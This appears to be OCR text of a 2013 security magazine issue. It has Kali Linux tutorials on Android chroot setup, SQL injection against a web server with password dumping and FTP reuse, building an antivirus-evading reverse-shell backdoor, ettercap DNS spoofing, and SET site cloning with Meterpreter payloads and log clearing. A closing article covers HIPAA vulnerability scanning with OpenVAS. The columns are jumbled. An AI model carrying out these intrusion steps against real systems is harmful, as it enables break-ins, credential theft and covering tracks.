• Download pre-compiled chroot kali distribution

Figure 8. VNC-Viewer from http://googl/qmGle. Mirror: https://archive.
org/details/Kali.nogui.armel.zitstif.chroot.482013
MD5: d60c5a52bcea35834daecb860bd8a5c7
SHA1: f62c2633d214de9edad1842c9209f443bcea385d
• Extract the downloaded archive onto phone’s

internal storage folder /sdcard/kali,
• Kali folder contains three iles, hashsum, ‘kali’
shell script and ‘kali.img’ ile (Figure 10),
• Install Terminal Emulator app.To run the Kali
Figure 9. Kali Linux booting chroot environment use the below command:
20 Extra 03/2013
*Note: Kali ile requires permissions to be an exe-

cutable and we can set it using this command irst:
Chmod 755 /sdcard/kali/kali
then use this command to run Kali
su -c /sdcard/kali && sh kali
Optional 01
Terminal Emulator can be configured to start the
session directly in the Kali chroot environment by
adding the following command in: Preferences >>
Initial Command
su -c “cd /sdcard/kali && sh kali”
Optional 02
Update the distribution by using the following com-
mand:
apt-get update && apt-get upgrade && msfupdate
Optional 03
Enhance functionality by adding below mentioned
tools from app store.
Figure 11. Kali chroot prompt

Summary
Kali Linux GUI or CLI both are equally powerful
when combined with Android Platform. The begin-
ners can start using kali GUI on mobile device and
the more experienced who are comfortable with the
terminals can have fun using kali CLI. In the future,
more mobile-based tools and apps are going to
flood the markets and we need to start using mobile
devices and smartphones as they and becoming
inexpensive and more functional. Hope this article
is helpful, informative and encourages you towards
the field of cyber security and pentesting.
DANIeL SINgH
Daniel Singh (CEH, ECSA) is Cyber-securi-
ty consultant and prominent speaker at
Defcon Indian Regional Chapters. He has
over thirteen years of experience in scien-
tiic software development, network/da-
tabase administration, business & data
analysis. He has worked in various roles, i.e.; coding, testing,
database and network administration to senior analyst. Cur-
rently he works as an Independent consultant in network and
systems security. Apart from consulting, he is active in train-
ing & mentoring upcoming security professionals. He has var-
ied interests including malware analysis, open source intelli-
gence gathering, reversing, ofensive security and hardware
Figure 12. Metasploit in Kali chroot hacking. Email: Daniel@techngeeks.com
ATTACK
Table 2. Tools for enhancing functionality

App Name Description Maluuba voice activated assistant
AndFTP ftp/sftp client network Computer/device discovery and port
discovery scanner
Android Hackers shows complete android info
Network Signal Info graphical tool for iwconig
AndroidVNC vnc viewer client
network tools periodic monitoring of websites,
AndSMB Android Samba client servers, routers, surveillance
Antennas shows mobile antennas and much systems, etc
more info NFC ReTAG Re-use write protected NFC Tags
AnyTAG NFC Automate your phone by scanning such as hotel key-cards, access
Launcher NFC tags badges, etc
APG OpenGPG for Android NFC TagInfo another NFC reader
APK Dumper copies apk of selected apps obackup Easily backup your entire device to
the cloud in one tap
App List Backup says what it does
OpenVPN Connect open vpn client
Bugtroid pentesting and forensics
Orbot tor on Android
CardTest Test your NFC enabled credit cards
Packet Injection poorman’s GUI version of scapy
Checksum GUI tool for md5sum and shasum tools
portknocker as name says
ConnectBot powerful ssh client
ProxyDroid use your socks5 proxy with this
DNS Lookup perform DNS and WHOIS lookups application
Dolphin Browser browser that easily allows you to python for as name says
change your UserAgent android
Droidcat inspired by irecat rekey app that ixes the recently-disclosed
“Master Key” vulnerabilities
Droidsheep Security analysis in wireless
networks Root Browser great ile manager for Android
Droidsheep Guard app for monitoring Androids ARP-table SandroProxy kind of like Webscarab
DroidSQLi automated MySQL injection tool Screenshot to take screenshots
Ultimate
dSploit Android Network Penetration Suite
Secret Letter poorman’s stegonagraphy tool
Electronic wirelessly read NFC enabled cards
Pickpocket smanager script manager
Exif Viewer shows exif data from photos and can smart taskbar as name says
remove this information
SSHDroid openssh server for android
Fast notepad simple but useful notepad
application STUN Client app to ind out what kind of irewall/
NAT you’re behind by using the
Find My Router’s title explains it all (mostly for default STUN protocol.
Password passwords)
SU Update ixer as name says
Fing very similar to Look@LAN tool for
Windows Supersu manage what programs access root
functions
Goomanager front end for android ile hosting
Teamviewer remotely control Windows, OSX, and
Hacker’s Keyboard as the name says Linux based systems
HashPass translate text into hashes Terminal Emulator no explanation needed
Hex Editor hex editor for Android timely alarm
Hex Pirate hex editor for Android tPacketCapture as name says
inSSIDer wireless network info VirusTotal Uploader test your malicious payloads
intercepter-NG mutli-function network tool, snifer, Voodoo OTA maintain root access even after
cookie intercepter, arp poisoner RootKeeper updates
IP info Detective detailed information regarding the Wii File Transfer access iles on your phone from a
IP address web browser via an http server
IP Webcam Android device into an IP security WiiFinder simple wireless scanner
camera
WiGLE Wii Open-source wardriving app
Loggy view your logcat in your desktop browser
22 Extra 03/2013
ATTACK
Kali Linux, Attacking

Servers
This article will show you how to perform attacks on web

servers, getting full access to the system and database. Just
by using some of the ‘Top Ten’ tools of Kali Linux.
K
ali Linux is probably one of the distributions mation. Knowing all the potential weak points is
more complete for the realization of pene- our goal. To do this the first thing that we are going
tration test. This is accompanied by many to do is to conduct a port scan with nmap. In this
tools of all kinds. In this article we’ll see some ex- way we will know what type of services or applica-
amples on how to perform attacks using only some tions run under the web server.
of the Top Ten tools of Kali Linux focusing on those As shown in Figure 1, we see the result of a basic
that are designed to attack web servers... scanning launched from nmap, more specifically
Generally an attack is performed as follows:
• Collection/information gathering.
• Anonymity.
• Search vulnerabilities.
• Exploitation of the systems.
• Post exploitation.
• Elimination of proofs.
• Executive and technical report.
We will focus on the following: Information Gath-

ering, search vulnerabilities, exploitation and Post
exploitation.
It is important to know that: in this article you are
working with a series of tools for a specific pur-
pose, but this does not mean that the tool can only
be used for this purpose. The vast majority of the
tools have multiple uses.
Nmap: Information gathering

When we are ready to perform an attack, the first
and most important step is the collection of infor- Figure 1. Result of scan with Zenmap. Multiples open ports
24 Extra 03/2013
Kali Linux, Attacking Servers
from Zenmap, the graphical version of nmap. The Some of the services that are attacked :
scan showed a few open ports on the server, and
this may give us some clues as to where to find Port 21 FTP
potential vulnerabilities. The information which has Port 110 pop3
taken us back is quite juicy, the server that we are Port 3306 mysql
attacking has more of a role assigned, therefore
more points to that attack. These will probably be the most vulnerable, be-
cause the rest of which ports are open on the serv-
er have a connection with the security type SSL or
TLS, as is the case of HTTPS, SMTPS, POP3S
or of the SSH. These protocols and their connec-
tion, have a very robust encryption, which is why it
is more complex to obtain a key using brute force,
or crack a password snifing the trafic on a LAN.
As an example; both by the port 21 as the 110
could be attempting to perform a brute-force at-
tack. On the other hand, we have port 3306 that
tells us that mysql installed.
We will do some checking typical to perform a pen-
etration test, such as trying to access an anonymous
Figure 2. Acces denied for mysql backend user FTP, or verify access to mysql is enabled.
In Figure 2, shows how the mysql Backend can
only be accessed from within the LAN itself.
However, having a mysql installed and see so
many open ports makes us think that the web that
we are attacking have more than one database
dedicated to various services, for example, for the
main page, a database, for the blog other, and so
on for each part of the web. This can mean that
some of the parts of the web page is vulnerable.
OWASP: Search vulnerabilities

Once that we have some information on the objec-
Figure 3. Automatic full scan with OWASP ZAP tive, the next step will be to seek vulnerabilities with
Figure 4. Report in html from OWASP
ATTACK
the OWASP tool. At the time of use OWASP we The other way to use OWASP to search for vul-
can use this of two different ways. The first of them nerabilities is doing a full scan of the web site.
would be to use OWASP as a proxy in our browser, Later I’ll show you how to do it. This option is
intercepting and all the connections that are made less advised that the previous one, however, can
with Firefox, Chrome, or any other browser. help us in the time to search for these vulnerabili-
In this way we can establish the attack in a sin- ties, this method is faster. It is less advisable to use
gle point, that is to say, possibly the web to which this method, or better said, the handicaps of using
we are attacking has multiple URL, between the as a proxy is, that if you do a full scan on a web-
BLOG, the main page, the access to the extranet, site, OWASP runs through all the URL of the page
access to suppliers, and so on using as a proxy and tries to find vulnerabilities in each of the par-
OWASP interceptions exclusively part of the web ties of the web. This implies that the IDS or firewall
server that we want to attack. of server to that we are attacking can detect an in-
trusion attempt.
OWASP when perform a full scan, launches all
possible attacks, grouping the vulnerabilities found
based on their criticality.
In the image below (Figure 3) we see the result
obtained by OWASP on a full scan of the web site
that we are attacking.
Once that we already have the result of the scan-
ning, the most advisable is to perform a first look
Figure 5. XSS (cross site scripting) exploited at the potential vulnerabilities, and then export it in
.HTML in order to be able to focus on those vulner-
abilities that we are the most interested in.
Figure 4 is the result already exported and in de-
tail on the vulnerabilities found.
One of the vulnerabilities found was a XSS (cross
site scripting) and to exploit it is as simple as go
to the browser and insert the URL which showed
OWASP. Figure 5, is the result of XSS.
Figure 6. Showing the databases with sqlmap
Figure 7. Results of the table containing the users Figure 8. Results of the table containing the passwords
26 Extra 03/2013
Kali Linux, Attacking Servers
SQLmap: exploiting vulnerabilities ing the wizard, and the other entering the param-
After verifying that the fault discovered by OWASP eters one by one.
are exploitable, we spent a sqlmap where we en- For example: we’d use the following command to
tered a field a bit more fun. know which are the DATABASE of server (Figure 6).
Among other vulnerabilities, we found a possible
failure of SQL injection. sqlmap -u http://www.website.es/actualidad/evento.
The first thing is to check whether there is such php?id=110 --level=5 --lush-session –dbs
failure by entering the URL that showed us OWASP.
Knowing that is vulnerable, we used sqlmap tool Then the options that we offer sqlmap, would get
to automate the processes of SQL injection. the tables from a database, after, then users, and
The same as it happens with OWASP, there are so on up to obtain the passwords. It could even
two ways to use sqlmap, one of them would be us- make a dump of all the DB.
Sometimes the users and passwords are in dif-
ferent tables, however this is not a problem, we
cannot continue with the process of intrusion. Fig-
ures 7 and 8 show the users and passwords in dif-
ferent tables.
To do a dump of these two tables, we get the
account_id and the password (Figure 9), which in
addition, seeing the user name I suppose it is the
user that gives access to the FTP.
And as we saw earlier, one of the open ports was
precisely the 21. Thus, we tried to enter and ...
We’re already inside!
Figure 9. Dump of users data and passwords
Navigating a little for folders on the ftp we realize
that the website has a blog with Wordpress (Figure
10). This makes it easier for us once more to get
access to the system ...
We downloaded the file wp-config to view the
user that connects with the Wordpress Database,
and we try to connect to a mysql client (Figure 11).
Summary
With only 3 programs we have obtained full access
and with root permissions to Mysql. Also, we have
had access to the FTP server where are housed all
of the files of the web site, and where we could get
a remote shell.
These 3 tools are in the Top Ten of Kali Linux. These
are without doubt the tools to be considered in order
to make hacking attacks and penetration testing.
Figure 10. Full access to the FTP server
ISMAeL gONzáLez D.
Ismael Gonzalez D. is a security research-
er with an experience of over 7 years in the
study of web vulnerabilities. He is currently
certiied in CEH, MCP, MCDTS, MCSA, LPIC-1.
Founder and publisher of computer securi-
ty blog (http://kontrol0.com). Writer of the
book Backbox 3 – Initiation to pentesting,
freely distributed and completely free (http://www.scribd.com/
Figure 11. Full access to the Mysql Server with mysql client doc/157067606/BackBox-3-Iniciacion-al-Pentesting).
ATTACK
Hands-on: How To
Create ‚Backdoor’
To Remote Access With Kali Linux
Now I will introduce you to a technique that will use SET
(social engineering toolkit) available in Linux Kali ...
Let’s create a backdoor that can be used to remotely control
a Windows computers.
We will create an executable legitimate, hardly detected by
any antivirus, so we complete a computer target.
I want to point out that all the information here should be
used for educational purposes or penetration test, because
the invasion of unauthorized devices is crime.
B
ackdoor is a security hole that can exist in a may be exploited via the Internet, but the term can
computer program or operating system that be used more broadly to describe ways of stealthy
could allow the invasion of the system so obtaining privileged information systems of all
that the attacker can get a full control of the ma- kinds.
chine. There are cases where the computer program
Referring to a backdoor, this is a ‘backdoor’ that can contain a ‘backdoor’ implemented at the time it
Figure 1. Social Engineering Toolkit, Step 1 Figure 3. Enter the IP adress, Step 3
Figure 2. Create the Payload and Listener, Step 2 Figure 4. Set payload, Step 4
28 Extra 03/2013
Hands-on: How To Create 'Backdoor' To Remote Access With Kali Linux
was compiled. Generally this feature is interesting target computer is who will connect to the attack-
when software must perform update operations or er (Figure 4). In the screenshot below to watch 3
validation. steps we perform first the kind of backdoor, type
16, then we must define the portal site, the attack-
Step to Step er’s machine that will be ‘listening’ for connection
I hope to do a walkthrough theoretically simple: attempts made by the target. The default port is
First we access the menu: “Applications/Kali 443 you can choose to change the port if it is al-
Linux/Exploitation Tools/Social Engineering Tool- ready being used. We can enter another number
kit” and click “seetoolkit”. It will be a menu like that and then press ‘Enter’, Next you’re asked whether
seen in the Figure 1. In the options menu select to start ‘listening’, you must enter ‘yes’ (Figure 5).
option 1. With these procedures the ‘backdoor’ will be cre-
In the second menu select option 4 (Figure 2). ated and our computer will begin to ‘listen’ for con-
In this screen below you should properly input nections from the target machines.
your IP address. If you have questions open a new The executable is created in the folder /usr/
terminal and type ifconfig eth0 then fill in this field share/set/ and is called ‘msf.exe‘.
correctly (Figure 3). The goal is to make it an executable, then we
In the screenshot below, you should choose the can open a new terminal and type the following
second option to create a connection reverse, our command
‘chmod + x / usr / share / set / msf.exe‘
Figure 5. Start the listener, Step 5
Figure 8. Ettercap, Step 2
Figure 6. Starting interaction, Step 6
Figure 7. Ettercap, Step 1 Figure 9. Ettercap, Step 3
ATTACK
If you want to you can rename this ile to facil- Now we need to copy this executable to the tar-
itate the process of social engineering to con- get machine and so it runs a Figure 6.
vince someone to opening a photo or install a Here to enter the command ‘sessions’ can list the
new application. targets already connected.
When we type ‘sessions -i 1’ (assuming 1 is the
ID number displayed by the command ‘sessions‘, if
another number is displayed just change the num-
ber shown by 1) we will be able to interact with the
target machine with full access.
DNS spoofing attack with ettercap

INTRODUCTION
DNS spoofing is a method in which the attacker com-
promises a name server (Domain Name System).
The server accepts and incorrectly uses the in-
formation from a ‘host’ who has no authority to pro-
vide this information.
Using this technique, the attacker can direct the
victim’s browser or email to their own server.
The technique consists of the data that is entered
in a Domain Name System (DNS) ‘name server’s
cache database’, making the name of the server to
Figure 10. Start Sniing, Step 4
return an incorrect IP address, diverting traffic to
another computer.
Step to Step
Open the terminal. Type and hit enter (Figure 7):
Figure 13. Social Engineering Attacks, Step 2
Figure 11. DNS Spoof, Step 5
Figure 12. Social Engineering Toolkit, Step 1 Figure 14. Website Attacks, Step 3
30 Extra 03/2013
# vi /usr/share/ettercap/etter.dns Cloning Site with Kali Linux

INTRODUCTION
Just edit and save, exit and enter after ‘ettercap- SET Attack Method:
G’ to open Ettercap in graphical mode. The Social Engineer Toolkit (SET) has been de-
Go Sniff: ‘Unified Sniffing’, when prompted, veloped to perform advanced attacks against the
choose your NIC ‘eth0’ (Figure 8). human element. SET was designed to be launched
with http://www.social-engineer.org and quickly
Concepts became a standard tool in the arsenal of penetra-
This type of attack is important to get some creden- tion testers. The attacks built into the toolkit are de-
tials during the execution of the penetration test. It signed to be focused on attacks against a person
consists of sending false answers to DNS requests or organization used during a penetration test.
that are made. To execute this attack, you must ed- This hacking method will work perfectly with the
it the file ‘etter.dns’, as it is the file ‘hosts’ windows ‘DNS spoofing or Man in the Middle attack method’.
and linux, we can configure to which requests are I will present methods of attack like this can have
sent. In ‘Hosts’ click ‘Scan for hosts’. computer in few steps.
Again in “Hosts” click Host List ‘to view a list of all
available IPs on the network, which will select the Step to Step
target that will receive the false answers and click’ Enter on Applications: Kali Linux: Exploitation
Add to Target 1’ (Figure 9). Tools: Social Engineering Toolkit: then Select ‘se-
Now click on ‘Start’, ‘Start Sniffing’. toolkit’ (Figure 12).
After go ‘MitM’: ‘Arp Poisoning’. Select the option
‘Sniff remote connections’ as below and click ‘OK’
(Figure 10).
Go to ‘Plugins’, ‘Manage the Plugins’ and double
click dns_spoof’ (Figure 11).
Done that the ‘selected customer’ will start get-
ting false answers to DNS.
Figure 17. Web Templates, Step 6
Figure 15. Java Applet Attack, Step 4
Figure 16. Site Cloning, Step 5 Figure 18. URL to be cloned, Step 7
ATTACK
Then Select option ‘Social Engineering Attacks’ Select the option which is for ‘Site Cloning’ that
using no. So it will create another window: Fig- will allow SET to clone the Site that you will define
ure 13. Then Select option ‘Website Attack Vec- so that it can utilize that attack (Figure 16).
tors’ which is the unique way of using multiple web After pressing enter on the ‘Web Template’ will
based attacks... (Figure 14). show how to use the PORT/ NAT or other. Next
After that Select option ‘Java Applet Attack’ step, enter the IP of your Kali linux, so you can do
method will spoof a Java Certificate and deliver a reverse connection to your machine when the tar-
‘metasploit’ based payload (Figure 15). get using the link provided by you (Figure 17).
After you provide the URL to be cloned as Ya-
hoo, Twitter, Facebook. You can collect various in-
formation about the target (Figure 18).
Provide the URL to start cloning, and then, once
that’s done, will start generating ‘payload’ and
some files as jar file, index.html (Figure 19).
Select the ‘payload’ necessary that you want to
generate. I’m using the second option, which is the
‘Windows Meterpreter Reverse_TCP’ that will cre-
ate a shell access between the attacker and the
target machine that is between my Kali Linux (Fig-
ure 20). It will display ‘list of Encoding’s’ that will
help you bypass the security target. I prefer ‘Back-
doored Executable’, it is best to find a ‘spamhole’
on the machine in question (Figure 21).
Will begin to generate multiple ‘Powershell code
Figure 19. Generating Payload, Step 8 based Injection’ based on common ports such as
Figure 20. Windows Meterpreter Reverse_TCP, Step 9 Figure 22. Powershell, Step 11
Figure 21. Backdoored Executable(BEST), Step 10 Figure 23. Reverse TCP Connection, Step 12
32 Extra 03/2013
53, 80, 443, in his ‘Attacket machine’ to the target to us via ‘ Reverse TCP Connection’ (Figure 25).
using one where the ‘payload’ is generated. While one tries to use this link will generate a con-
Select Option 16, will ask for the ‘Port Number’. nection on some port between the attacker and the
Press Enter then it will use the default port number. target, which is ‘TCP’. After these procedures the
It will launch the ‘Launch the Web SET’ will start ‘payload‘ is generated and when you use this link
appearing and the number of vulnerabilities and on the machine to open a cloned page also gener-
then it will generate a link that you can move on ates the file ‘.jar‘ whose function is to establish the
to the target and once he uses that link, your ma- connection between the two machines (Figure 26).
chine will create a connection ‘Reverse TCP Con- Let’s create a session with the machine, going
nection ‘ with the attacker’s machine on the num- to my local machine can check if the connection
ber of doors (Figure 23). was successful or not. We should use the com-
The Code execution ‘ PowerShell ‘, which will run mand ‘netstat’.
in the background and then will load ‘ MSF ‘ and Example: netstat-year | find “57804”.
generate a ‘link’ that when a person clicks it will When we are connected to the target machine,
creates reverse connection open to you within the you can run many programs and can edit the files.
network (Figure 24). Run ‘Event Viewer’ and remove all notifications,
This will provide a link when trying to open the so it becomes more difficult to track what is hap-
target, all the information from your system back pening with the machine.
Although we can trace the connection estab-
lished with the command “sessions-l”.
After running the command will start sending
‘HTTP packets’ to the target machine via the ‘GET
method’.
This shows that the connection has been estab-
lished with the machine.
You can use utilities such as Restart, Shutdown
the system.
It is worth remembering that I made this article
for educational purposes only, I am totally against
the cybernetic crime, so use it with conscience.
Figure 24. Starting the payload handler, Step 13
RAFAeL FONTeS SOUzA

Over the years, acquiring knowledge of
Webmaster programmer(HTML5,CSS,XML
,ActionScript), developer in languages like
Python, Shell Script, Perl, Pascal, Ruby, Ob-
ject Pascal, C and Java. I started studying
Figure 25. The attack, Step 14
with thirteen (SQL database), i have exten-
sive experience in operating systems such
as Linux, UNIX, and Windows. I am maintainer of the “project
backtrack team brazilian”, I am also a member of the “French
Backtrack Team” and made partnerships with groups from In-
donesia and Algeria; prepared a collection of video lessons
and made them available on the website. I have good com-
munication in groups and the general public, attended col-
lege projects with a focus on business organization, I am cur-
rently seeking for a work experience outside of Brazil”.
http://sourceforge.net/projects/cypherpunks/
Figure 26. Establish the connection, Step 15 Contact: fontes_rafael@hotmail.com
DeFeNSe
Kali Scanning for

HIPAA
A Proof of Concept: using Kali Linux to deploy distributed
network vulnerability scanners for medical clients
The Health Insurance Portability and Accountability Act of

1996 (HIPAA) requires organizations who handle electronic
Protected Health Information (e-PHI) to take action and
reduce risk relative to potential security breaches of digital
communication and storage of patient information.
O
pen Source solutions can be leveraged as tion will also be used to support the internal com-
a low-cost and effective strategy to mini- pliance program of our technology firm.
mize risk when used as component of a The requirement for risk analysis (and conse-
larger information security program. With a long quently vulnerability scans) is explained in the
“track” record of community support, Kali is an Guidance on Risk Analysis Requirements under
open source Linux distribution containing many the HIPAA Security Rule document published by
security tools to meet the needs of HIPAA network the US Department of Health and Human Services
vulnerability scans. (http://www.hhs.gov/ocr/privacy/hipaa/administra-
tive/securityrule/rafinalguidancepdf.pdf):
Note Risk Analysis Requirements under the Security
This article is not as much a how-to as it is a proof Rule. The Security Management Process standard
of concept and evaluation of Kali on low-cost hard- in the Security Rule requires organizations to “[i]
ware (Raspberry Pi in this case). As such, I will dis- mplement policies and procedures to prevent, de-
cuss my overall experiences here but will not get tect, contain, and correct security violations.” (45
into the weeds of the build process for the scan- C.F.R. § 164.308(a)(1).) Risk analysis is one of four
ner. There are much better resources elsewhere required implementation specifications that pro-
to explain the details of this particular project. In vide instructions to implement the Security Man-
other words, I am not reinventing the wheel here agement Process standard. Section 164.308(a)(1)
and have borrowed heavily from readily available (ii)(A) states: RISK ANALYSIS (Required).
online resources. Think of this as more of a busi- Conduct an accurate and thorough assessment
ness case with some of the technical bits included. of the potential risks and vulnerabilities to the confi-
As Senior Consultant for a Managed Service dentiality, integrity, and availability of electronic pro-
Provider company, I have a need to develop a tected health information held by the [organization].
scalable low-cost solution for performing HIPAA …Vulnerability is defined in NIST Special Pub-
vulnerability scans. The scans will be part of a larg- lication (SP) 800-30 as “[a] flaw or weakness in
er Information Security consulting service to assist system security procedures, design, implementa-
clients with their HIPAA compliance program. As a tion, or internal controls that could be exercised
Business Associate of Covered Entities (meaning (accidentally triggered or intentionally exploited)
– vendor of medical companies), the security solu- and result in a security breach or a violation of the
34 Extra 03/2013
Kali Scanning for HIPAA
system’s security policy.” Vulnerabilities, whether all over the world to learn programming.” Hardware
accidentally triggered or intentionally exploited, Specifications (Raspberry Pi Model B):
could potentially result in a security incident, such
as inappropriate access to or disclosure of e-PHI. • CPU – 700 MHz ARM processor (overclocks to
Vulnerabilities may be grouped into two general 1 GHz)
categories, technical and non-technical. Non-tech- • Storage – SD card slot
nical vulnerabilities may include ineffective or non- • Memory – 512MB RAM
existent policies, procedures, standards or guide • Graphics – Broadcom VideoCore IV
lines. Technical vulnerabilities may include: holes, • Video Out – Composite RCA and HDMI
flaws or weaknesses in the development of infor- • Audio Out – 3.5mm jack
mation systems; or incorrectly implemented and/or • Networking – 10/100Mbps Ethernet
configured information systems. • I/O Ports – 2x USB
Project Requirements
A build versus buy approach was taken to evalu-
ate solutions as a scalable, affordable, and effective
method of conducting network vulnerability scans.
The result of the scans will address HIPAA risk anal-
ysis requirements while driving vulnerability remedi-
ation plans. The final solution must scale with grow-
ing business demands for security assessments so
automation of distributed scanners was a primary
consideration. Additionally, the scanners must be
cost-effective to deploy, easy to manage (more on
this later), and enable centralized reporting. Figure 1. Raspberry Pi Model B
Having familiarity with the Backtrack Linux distri-
bution, Kali was a logical choice for a best of breed Designed as a project computer, the Raspberry Pi
offering in the open source community. So what appeared to be a good it for our speciic require-
is Kali Linux? According to Kali.org, Kali Linux is ments. I followed the documentation on Kali.org
an advanced Penetration Testing and Security Au- for installing Kali ARM on a Raspberry Pi. Since
diting Linux distribution. It is also a complete re- this is a proof of concept, an 8GB SDHC Class 10
build of Backtrack, its predecessor. Kali is free (as card was used for provisioning the operating sys-
in beer) and contains over 300 penetration testing tem. A production system may require more stor-
tools. This seems like a good fit for the low-cost re- age for running multiple reporting tools and keep-
quirement of the project. ing a local copy of the scanning history.
To further control costs, the Raspberry Pi system
on a chip (SoC) device was selected as the comput- Some Notes on Installation
er hardware for the scanners. These tiny computers Kali image used for testing: http://cdimage.kali.org/
can be purchased from a number of distributors for kali-linux-1.0-armel-raspberrypi.img.gz.
$35.00USD. It must be recognized at this point that While this is not a Kali/Raspberry Pi installation
choosing a low-powered device like the RPi is not how-to, I figured I would at least touch on the un-
without trade-offs. We are seeking to balance cost, expected problems encountered during the initial
size, and power efficiency against performance re- set up process. It is often said that installing open
quirements and capabilities of the system. That be- source systems is not for the faint of heart. I agree.
ing said, it’s hard to argue that a better value can be While not always straightforward, a bit of Google-
had for a distributed network scanner. fu usually saves the day…no exceptions here.
What’s a Raspberry Pi? Note

According to the official website (http://www.raspber- I experienced problems with the kali-linux-1.0.4-
rypi.org/faqs), “the Raspberry Pi is a credit-card sized armel-rpi.img.gz version of the operating system
computer that plugs into your TV and a keyboard. It’s (the current version) which resulted in the key-
a capable little PC which can be used for many of the board and mouse locking up in the desktop inter-
things that your desktop PC does, like spreadsheets, face. Troubleshooting this issue led me to forum
word-processing and games. It also plays high-def- posts discussing the same symptoms and of suc-
inition video. We want to see it being used by kids cessful attempts using version 1.0, then applying
DeFeNSe
updates from there. This is the path I took in order Selecting a Scanner
to make progress on the task at hand. With over 300 security tools available on the Ka-
Some initial hardware problems were experi- li system, we must narrow down which tool (or
enced due to drawing too much power from the tools) to use for our purposes. Here are some of
USB ports. For example, my Apple USB keyboard the requirements:
was detected by the operating system, but would
not work. This was resolved by using a powered • Scheduled scans for multiple clients,
USB hub to offload the power draw. Trying a differ- • lexibility in coniguration,
ent keyboard worked fine without the hub, so your • available (free) updates to vulnerability deinitions,
mileage will vary. This is only of concern when ini- • multiple options for reporting output,
tially configuring the RPi. A mouse and keyboard • secure transmission of reports (more on this to
will not be used when the device is running on the follow).
client’s network. If you need the hub during pro-
duction, the Raspberry Pi can be powered off of Let’s examine these requirements a bit more. Since
the same USB hub adding additional power to the the concept here is to create a set of distributed
mouse/keyboard. This is how I ran the device dur- scanners at various client sites, the system must be
ing my testing and eliminated the need for an ad- able to run as a scheduled task and will ultimate-
ditional power supply. ly be called from a master script. Having lexibili-
Also, the default install does not fully utilize the ty with its coniguration, the software should adapt
SD card which led to errors due to a full disk when well to changes in solution requirements over time.
performing updates. This was resolved by us- Freely available vulnerability deinition updates will
ing the fdisk followed by the resize2fs utilities to keep costs down while allowing the system to de-
expand the system partition to use the remain- tect ever-evolving system threats. The tool should
ing free space. Exact details for this can be found provide multiple options for reporting output. Initially
here: http://raspberrypi.stackexchange.com/ques- reports will be generated in basic HTML or PDF for-
tions/499/how-can-i-resize-my-root-partition. mats, but future requirements will necessitate cap-
Based on my experience here, some other soft- turing granular scanning data for developing a more
ware housekeeping items are needed (Listing 1)… sophisticated (eventual) self-service customer por-
tal. From a security standpoint, we are not storing
Listing 1. General Kali updates ePHI; however, we are storing information sensitive
to the internal structure and systems of our clients’
#apt-get update – performs general software networks. As such, precautions to secure transmis-
updates sion of reports will be established as part of the so-
#apt-get install xfce4 xfce4-goodies – installs lution. For the reasons described above, I select-
items need to support the xserver GUI ed OpenVAS as the scanning tool for this proof of
#apt-get install iceweasel – installs the concept. No one system will be one hundred per-
default browser cent effective all of the time. Certain vulnerabilities
will be missed while some false-positives may be
reported. Remember – risk “reduction” is the goal
With the initial hiccups of the installation behind as risk “elimination” is an unreasonable expecta-
me, the next step was to consider what tools from tion. The important thing is we are using the tool as
the new Kali system would be deployed to perform part of an overall security effort. A more attractive
the network vulnerability scans. With so many ca- option would be to deploy multiple scanning tools to
pabilities packed into this Linux security distro, validate the results and cover gaps that exist from
there was no shortage of options. a single software solution. For the purposes of this
Running startx from the command prompt cranks phase of the project, we will stick to using a single
up the desktop interface. Even if we will not normal- tool for scanning and reporting.
ly run our scripts and programs from the GUI, it is
helpful to drive the system around a bit to familiarize Working with OpenvAS
ourselves with the tools loaded on the Kali platform. I ran my out-of-the-box OpenVAS install from the
Be prepared to grab a cup of coffee when first start- desktop and fired up the setup script included with
ing the graphic interface. The slower processing the GUI menu options. After several attempts to
power of the Raspberry box takes a few minutes to configure and run scans with no luck, I decided to
load the desktop the first time. Patience is rewarded pursue a different course of action. While search-
with the familiar Kali/Backtrack dragon logo. ing for set up guides, I can across an invaluable
36 Extra 03/2013
tool – the openvas-check-setup script. While time- have expressed written permission to perform any
consuming, the script checks out all parts of the penetration tests, vulnerability scans, or enumer-
OpenVAS system and updates as necessary. I had ation of network services and host information.
to do the following based on the fixes recommend- Conducting security scans without permission is
ed by the script: Listing 2 and Figure 2. against the law and not advocated here. For test-
ing purposes, I have used my home network and
Listing 2. Initial updating of OpenVAS my employer’s network (with permission) to run
the scans. Enough said about that.
#apt-get install openvas-scanner (this updated Setting up a scan is simply a matter of managing
the scanner and a good number of other com- (at a minimum): Tasks, Targets, and Scan Configs.
ponents of the system) Tasks – scan jobs made up of the other ele-
#openvasmd –migrate (upgrades the database) ments. The tasks can be scheduled and leverage
#openvas-scapdata-sync (update SCAP feed) Escalators, such as send an email when the task
#openvas-certdata-sync (update CERT feed) is complete.
#openvassd (starts the OpenVAS Server) Targets – IP addresses or ranges of the network
#openvasmd (starts the OpenVAS Manager) devices to scan. This can be a single Target con-
#openvasad (starts the OpenVAS Administrator) figuration for a simple network or multiple (servers,
#gsad (starts the Greenbone Security Assistant) workstations, network devices). Multiple targets
would be useful when it is desirable to customize the
level of scanning based on different device types.
Scan Configs – preset vulnerability scan con-
figurations using different levels of scanning tech-
niques. As the more intrusive configs can bring
down hosts, use caution when making decisions
on how and when to run the scans.
For this exercise, I set up three separate scan
targets – our workstation network, our server net-
work, and one for my work computer. I then creat-
ed three tasks to scan the targets named – “Scan
workstations – Full and fast”, “Scan servers – Full
and fast”, and “Scan my PC” respectively. For each
of these I used the Full and Fast scan option. This
Figure 2. Migrating the database was the least invasive of the default set of scan
configurations. The overall process is straightfor-
After performing the above, I still go an error stat- ward as the Greenbone Security Desktop interface
ing “ERROR: OpenVAS Manager is NOT running!” is intuitive in its layout. Several tabs at the bottom
To double-check for listening services, I ran the of the application window delineate the various ar-
command: netstat -A inet –ntlp. As the OpenVAS eas for configuration.
Manager (openvasmd) was found to be listening I chose to run the scans manually and did not
on its default port, I ignored the “error” and pro- schedule them. The time required to perform the
ceeded with testing (Figure 3). scans will vary based on the number of hosts being
scanned in the current task and the performance
of the scanner and network. Just to get an idea of
the traffic generated during a scan, I ran Wireshark
on my laptop to watch the vulnerability scans. Fur-
ther analysis of the packets would reveal the mag-
ic behind the scanning process (Figure 4).
Hardware Performance
Let’s suffice it to say, the performance of the Rasp-
Figure 3. Checking listening ports for the openvasmd service berry Pi is underwhelming in this application. This
is not unexpected actually and, to a certain degree,
Setting up the Scans insignificant. While the speed of the scans could
The obligatory disclaimer: I am not an attorney; be increased by using faster hardware, we desire
however, I used to work for some. Be sure you inexpensive and good enough. While scanning,
DeFeNSe
the processor hovered around seventy percent uti- search on the threat shows Windows computers use
